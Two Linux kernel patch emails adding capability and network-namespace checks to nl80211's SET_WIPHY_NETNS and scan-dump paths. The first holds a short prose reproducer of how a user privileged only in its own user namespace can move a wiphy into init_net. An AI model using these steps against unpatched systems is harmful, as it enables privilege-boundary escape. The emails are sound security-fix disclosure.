From nobody Sun Jun 14 02:45:24 2026 Received: from mail-pj1-f54.google.com (mail-pj1-f54.google.com [209.85.216.54]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id C8BC93DDDD3 for ; Mon, 4 May 2026 13:54:27 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=209.85.216.54 ARC-Seal: i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1777902869; cv=none; b=enfJIGvVyMrrjyA6zdFLsBOnxQlZzUMNkbB9us/ew8NLDQLH2itxY4QxHjvI6fdcrvkQ+39SNpOGNVPST+FNHhnIAX4qn1bSR7fQIhvfdf7HuM6c5qf7t+SJ0OX3IpNZ8lTnhkclAhwz6Pl0qpf0ZBlXXk5eJtPyLRij8W4kDr0= ARC-Message-Signature: i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1777902869; c=relaxed/simple; bh=+mo3C6yzqMAksWubJQ/UbNn3zX4fALJsxYwaY5clI+g=; h=From:To:Cc:Subject:Date:Message-Id:In-Reply-To:References: MIME-Version; b=q/A32JDuHhOmAwIdB1SdI0poWCWDcVN1ylxo0n+KwNHgg3HPTUR/8vcdu5MMWukXFSg1DsYcHs9iwsLHIRFO3P5yAtLAPZMDx5XhC6AyHyTGesYW3urQdAlYJLF2JUQAtORBnkUOG0mtBCEjKP06ixd67Dh4o9VQoeVHA0utbjo= ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com; spf=pass smtp.mailfrom=gmail.com; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b=gaOajKV/; arc=none smtp.client-ip=209.85.216.54 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=gmail.com Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="gaOajKV/" Received: by mail-pj1-f54.google.com with SMTP id 98e67ed59e1d1-358ed696623so1864170a91.0 for ; Mon, 04 May 2026 06:54:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20251104; t=1777902867; x=1778507667; darn=vger.kernel.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=yITZMlaJKOwZTlv07eJ7UVNzuxofMHYUdK+QlQSgjD4=; b=gaOajKV/Zz7I1zRGDN9OPRRfstU9k3TktVXXlO24M8Ca8JkYq85Du6PMohKSoit5s4 Y+pMsvh5ozVGsIWSYJT93ocYg3/kj67wLZjNm2OSJz5nVhCnXxgK01R4P1c2dqlZvrUE FpO9aqLQSc0miP+LGcz2gx8PgmzFbHnsn1GB4L1Plka/T0O133jVHJ4HwQVIYpMcwYuJ SgMQZpLd4zIhvcRHzzoge9/JCpGN26j9gs6zi30GQzwVxumslwLQG8MAERdvq2gBxfN/ ifWr5f9RaDlkZqOeE7YOFe+7v1SF5QW8LlbhTVUFyLNYODQYiEp7SGiEqCXcjtdkuz37 9O4Q== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1777902867; x=1778507667; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from :to:cc:subject:date:message-id:reply-to; bh=yITZMlaJKOwZTlv07eJ7UVNzuxofMHYUdK+QlQSgjD4=; b=huIH1+6BcyzZYBB0HEbR8/z68FPaE1hjYJvY0tPN5MYJ/4/jrBfWPnxGe6ziDxmKpO 2gn/OU5FG6ZRjytzmQVQyLlDRejDhECmapJLDt3oV8kEeN8k+Lc1TRQJexsmJa7mt/j5 Kwfxc3t04cge7N/02qfy83HoS1keQLDZU+n/0NwcFQc84t8kIO/pwgYnY/nF4OjpVnFE 3o5CTP8MU5bwG0AcyCgKl23xLW+x6TPkAG4yhjdA8Q0x+IJz0gYiY3xnEeufBTCuvpCh x0yIp09G+hwOz15ljs78rNyZ+k0zni3vYQjRKqZ3MNMreRqvOdgjjVfRoO5e+xO67EvG +MXg== X-Forwarded-Encrypted: i=1; AFNElJ8i5c6IUh1D8MguiB+H2TYZ32IQ6wkmsRdKR5uvFRdyJ31rxxrWPcU/In+fY/53aHQo2I9BuTxrRX26cvk=@vger.kernel.org X-Gm-Message-State: AOJu0Ywom0fHfwrSV40uOsuf6HTvYB6AOS7W+zTKxxhsntQvxp+vaBAc zjPTmidJpL9Hd0f5QmEPANqIeMRSjnRzzpAFJ0zS82IzvUXLJ3mwdMbm X-Gm-Gg: AeBDiet94pmTVVMOI93NOinmCKtcFFBdjd2CkiGGdm+Tc4W1JVYFKvSvwlEpd2VvKBi 7pSEIogZc/wlWG1AZCGaA9iI1C0swB3XKivnPVMTkG0oJseYgvq8VLaMtM+ffGGRlFsrhS5mQZl BB/t1JGxQ1La7Nf4NBAt+h59HxJxT5rGNxiwupRANV8mIPbvdhRd5JysreV9zKToue7syUccXeW 4cLv+TkKn2eGDx0O3ZZ3quvL53aMaVGp6W56D3q/SzqPihQmPqwJPPp3Im9y9y552stQ3hpeZFc 1a2Sdyl+4kOanauIJnkrAm/XcwM6T06SLvPf2YJw50WsnEhyL3plX127p0G0Zv/X0MGZQ0IOYNs D4h6QsZVRcFK5gaq97YQHB8quHAhMLj+420qdQnfgFHAgOz6SMU6Cz3C1aELroh74/qtRUMcvbJ gxi9c3y7DlapPDNCThxTre9LA+3i8pPAXourGQ4zHCcPXgRZIGGLcPJKXA X-Received: by 2002:a17:90b:1dcc:b0:35f:9ab2:a5bb with SMTP id 98e67ed59e1d1-3650ce184e8mr9848339a91.10.1777902866990; Mon, 04 May 2026 06:54:26 -0700 (PDT) Received: from csl-conti-dell7858.ntu.edu.sg ([155.69.195.57]) by smtp.gmail.com with ESMTPSA id 98e67ed59e1d1-36528ad3154sm5798811a91.2.2026.05.04.06.54.25 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Mon, 04 May 2026 06:54:26 -0700 (PDT) From: Maoyi Xie X-Google-Original-From: Maoyi Xie To: johannes@sipsolutions.net Cc: linux-wireless@vger.kernel.org, linux-kernel@vger.kernel.org Subject: [PATCH v2 1/2] wifi: nl80211: require CAP_NET_ADMIN over the target netns in SET_WIPHY_NETNS Date: Mon, 4 May 2026 21:54:19 +0800 Message-Id: <20260504135420.1178443-2-maoyi.xie@ntu.edu.sg> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20260504135420.1178443-1-maoyi.xie@ntu.edu.sg> References: <20260504125753.1154601-1-maoyi.xie@ntu.edu.sg> <20260504135420.1178443-1-maoyi.xie@ntu.edu.sg> Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="utf-8" NL80211_CMD_SET_WIPHY_NETNS dispatches with GENL_UNS_ADMIN_PERM, which verifies that the caller has CAP_NET_ADMIN over the user namespace owning the source netns (the netlink socket's netns). It does not verify that the caller has CAP_NET_ADMIN over the target netns selected by NL80211_ATTR_NETNS_FD or NL80211_ATTR_PID. This diverges from the convention enforced in net/core/rtnetlink.c::rtnl_get_net_ns_capable(): /* For now, the caller is required to have CAP_NET_ADMIN in * the user namespace owning the target net ns. */ if (!sk_ns_capable(sk, net->user_ns, CAP_NET_ADMIN)) return ERR_PTR(-EACCES); A user with CAP_NET_ADMIN in their own user namespace can therefore push a wiphy into an arbitrary netns (including init_net) over which they have no privilege. Reachable from an unprivileged user namespace as soon as the caller holds, in their own netns, a wiphy that has WIPHY_FLAG_NETNS_OK set (true for mac80211_hwsim and for any wiphy that an administrator has delegated into a container). Reproducer (mac80211_hwsim, KASAN VM): 1. As real root, modprobe mac80211_hwsim radios=3D1 in init_net. 2. fork(); child unshare(CLONE_NEWUSER | CLONE_NEWNET) and writes 0-mapped uid_map. 3. Real root migrates phyN into the child's netns via NL80211_CMD_SET_WIPHY_NETNS (legitimate admin step). 4. Child, with CAP_NET_ADMIN only in its own user_ns, sends NL80211_CMD_SET_WIPHY_NETNS targeting init_net's netns fd. 5. The kernel honours the request and the wiphy is moved back to init_net even though the caller has no privilege there. Mirror the rtnetlink convention by requiring ns_capable(net->user_ns, CAP_NET_ADMIN) on the resolved target netns before calling cfg80211_switch_netns(). Reported-by: Maoyi Xie Signed-off-by: Maoyi Xie --- net/wireless/nl80211.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c index 67088804d..db546dd93 100644 --- a/net/wireless/nl80211.c +++ b/net/wireless/nl80211.c @@ -13867,6 +13867,19 @@ static int nl80211_wiphy_netns(struct sk_buff *skb= , struct genl_info *info) if (IS_ERR(net)) return PTR_ERR(net); =20 + /* + * The caller already has CAP_NET_ADMIN over the source netns + * (enforced by GENL_UNS_ADMIN_PERM on the genl op). Mirror the + * convention used by net/core/rtnetlink.c::rtnl_get_net_ns_capable() + * and require CAP_NET_ADMIN over the target netns as well, so that + * a caller that is privileged in their own user namespace cannot + * push a wiphy into a netns where they have no privilege. + */ + if (!ns_capable(net->user_ns, CAP_NET_ADMIN)) { + put_net(net); + return -EPERM; + } + err =3D 0; =20 /* check if anything to do */ --=20 2.34.1 From nobody Sun Jun 14 02:45:24 2026 Received: from mail-pj1-f45.google.com (mail-pj1-f45.google.com [209.85.216.45]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 720873DE443 for ; Mon, 4 May 2026 13:54:29 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=209.85.216.45 ARC-Seal: i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1777902870; cv=none; b=CWs7eK2Hg4k1avXljaXXnO8yAkuCh6NAm8UFZt8uwpJyVpfZyfWGa7QZ4u3l7PCZcnhGhRgsVsgnnqck+anmfG9jS27w/TDpHIyWmg2x+tO0QDpbhqKzTv3NI4r4OATVe1o6o88adkYWVJe/fK+xuKjXIP8MGGPRAz+vsY25Cwc= ARC-Message-Signature: i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1777902870; c=relaxed/simple; bh=lZ43BZt2AaOQounO6PwiBsgobhLyQ5LHCVi3JxWnkdI=; h=From:To:Cc:Subject:Date:Message-Id:In-Reply-To:References: MIME-Version; b=gk9n4oI5hTJmP5XUS/8obYzXLqvomo0dztGmuW2dEG+sJnTrd7Mw0yImw+azjzEHrURfIbVsA+DZiEPDQcxCOBhteIJ9EHq22YNdhBQ8joCf/DxTCtcwuN2k99v1pGeDrszY3RWeg4iFsiAdHOr7YW8NWkNCjihS3UFYrLN4qzI= ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com; spf=pass smtp.mailfrom=gmail.com; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b=p8T1RT3h; arc=none smtp.client-ip=209.85.216.45 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=gmail.com Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="p8T1RT3h" Received: by mail-pj1-f45.google.com with SMTP id 98e67ed59e1d1-35fbca04006so2091521a91.1 for ; Mon, 04 May 2026 06:54:29 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20251104; t=1777902869; x=1778507669; darn=vger.kernel.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=8JrWRWnHNvpiU4/xnJGaTVYu+5KLfhCwion4eRCqHfw=; b=p8T1RT3h/NyJsv0CaHHrciqqO34bvVs0mLxzqH0WaOt4COYdWQeae8xGvqxCS6UgmD mUQUeSMsnamEuJfZZpzPKC5pOVHh279SKttbMrNHLK1t1UlkznnxkymDQYKi+io2bYCV FDSjSo5jAQzZ6JBeip2hdnfofPbOYNyzDn4wKZ0iqfCxSjkwTZrW8y5auUpQznyhsfrV FxZbKDcAzXIRnBAUIV+0q6qPVb4lxs0C91ogbW6JZjv7ZzkvhJAMS37fpoTQB/mnxzfu kLhS1u+qGClO9irPUPe19TIMVT1NsZIZZYBvIwldvJI2ETDjw6YrxSL/SOpBPp1V6/i4 Hjxg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1777902869; x=1778507669; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from :to:cc:subject:date:message-id:reply-to; bh=8JrWRWnHNvpiU4/xnJGaTVYu+5KLfhCwion4eRCqHfw=; b=hISWg2vVMKaQDqydFg+feKCsconQODSUDQ341nZbhfYQrSf/yk/9ahbjR+ll0XCLUi OFY330zOLJQ2KHVN/Fy1NSnU++pvQH+W5oZ2vPYNNOMEhgeoF3823RPptMg/NQkQUX5E rO5QXe/Ov+WGzLg7RMMNO6O24zU9bVsDLHhbqtHjxamSDLg1jM60T89h6iVcQ5HeWFIv mU3DKOwmubuz0mTOVX8ZJntCpXKE+QpL4+XEztFaJzJs2bXrPvfGa3Nog7RNgLxkF/tB zawHWOzPfXgWyQeVlwdgHFpVwrBdp7GUPYtd7iAtCmRmXwSF3ZKuUgespd4Fjp/hvhVr hjPw== X-Forwarded-Encrypted: i=1; AFNElJ/XNAXQKT0ip3ThpmBPAjEpIj0ajdZSkJFk+Sx1maT0+ckoMPKlGIN/qSSm/ntrRqwbGsLLU5beKOue8Uo=@vger.kernel.org X-Gm-Message-State: AOJu0YyuwCwNEi4PgkFfYH1KbhY+c+fFDQpSA5ok8OZT/QZNrdVh4bCu ZOiBvgGQN1j8UnivxMhvQf8FliALyElx+jpnxDBqXONHa9XLLUdMKAS0sTRNog== X-Gm-Gg: AeBDiesAG3mcRlSszzISGKBaGO/AH3BAqi0UcOm0MCKVFJrh4wf7ulawrT7PBa1qG1M kJAw9itc4IljIXDAxAyBCKf3/IgE4BWzog9PsBopgFtggaBF4Jsafgf7eUyjyl9mDn4plpJoDEb 0xW6zUxHZNdZ11SpkFV0PzzmMK6vXJZSjcD06t3wSeaeDscK4U5x4Hx28An2BjLswIM6lpVsctb 6i1AcFNMroDoG8aKszSovFPa8N/iHvdiOXtJZm7LAVBq+ldDJ0yhbZjmwg7CXjovS9p7BzxSE1I Xi7gRuTJ4y9EAFZTsNrCp+8puaR7Dv7B4mmMTBZuM8ZaHgJ1j4egMj5T3pxF7SZ7vNJmzw6y0Xg k/SlMwkLZ60W86C+AAxK1Fbo46j7YUoRZcEcfvJk+v8Ay+wxmguo7Wd65ESiMQjjS6twowRE3UG UgXkMS4AJLHuNEbgV88U2U5JnTPU6eAqdzxGGXVI0tMveIprPeNaJ4RGIA X-Received: by 2002:a17:90a:d407:b0:361:3224:2f5f with SMTP id 98e67ed59e1d1-3650ce713bfmr9740436a91.22.1777902868784; Mon, 04 May 2026 06:54:28 -0700 (PDT) Received: from csl-conti-dell7858.ntu.edu.sg ([155.69.195.57]) by smtp.gmail.com with ESMTPSA id 98e67ed59e1d1-36528ad3154sm5798811a91.2.2026.05.04.06.54.27 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Mon, 04 May 2026 06:54:28 -0700 (PDT) From: Maoyi Xie X-Google-Original-From: Maoyi Xie To: johannes@sipsolutions.net Cc: linux-wireless@vger.kernel.org, linux-kernel@vger.kernel.org Subject: [PATCH v2 2/2] wifi: nl80211: re-check wiphy netns in nl80211_prepare_wdev_dump() continuation Date: Mon, 4 May 2026 21:54:20 +0800 Message-Id: <20260504135420.1178443-3-maoyi.xie@ntu.edu.sg> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20260504135420.1178443-1-maoyi.xie@ntu.edu.sg> References: <20260504125753.1154601-1-maoyi.xie@ntu.edu.sg> <20260504135420.1178443-1-maoyi.xie@ntu.edu.sg> Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="utf-8" NL80211_CMD_GET_SCAN is implemented as a multi-call dumpit. The first invocation of nl80211_prepare_wdev_dump() validates the requested wdev against the caller's netns via __cfg80211_wdev_from_attrs(). Subsequent invocations look up the same wiphy by global index via wiphy_idx_to_wiphy() and do not re-check that the wiphy is still in the caller's netns. If the wiphy is moved between dumpit invocations (via NL80211_CMD_SET_WIPHY_NETNS), the dump silently continues to copy BSS list contents from the wiphy's new netns into the caller's netns socket buffer. The other dump paths in nl80211.c (e.g. nl80211_dump_wiphy() and the parallel scheduled scan dump) already filter by net_eq(wiphy_net(...), sock_net(skb->sk)) on every iteration. Add the same filter to the continuation path. If the wiphy's netns no longer matches the caller's, return -ENODEV and the netlink dump machinery terminates the walk cleanly. This is most usefully fixed alongside the SET_WIPHY_NETNS target-cap hardening in patch 1/2, which closes the path by which an unprivileged-userns caller could trigger this race themselves. Reported-by: Maoyi Xie Signed-off-by: Maoyi Xie --- net/wireless/nl80211.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c index db546dd93..f2c91a939 100644 --- a/net/wireless/nl80211.c +++ b/net/wireless/nl80211.c @@ -1276,6 +1276,16 @@ static int nl80211_prepare_wdev_dump(struct netlink_= callback *cb, rtnl_unlock(); return -ENODEV; } + /* + * The first invocation validated the wdev's netns against + * the caller via __cfg80211_wdev_from_attrs(). The wiphy + * may have moved netns between dumpit invocations (via + * NL80211_CMD_SET_WIPHY_NETNS), so re-check here. + */ + if (!net_eq(wiphy_net(wiphy), sock_net(cb->skb->sk))) { + rtnl_unlock(); + return -ENODEV; + } *rdev =3D wiphy_to_rdev(wiphy); *wdev =3D NULL; =20 --=20 2.34.1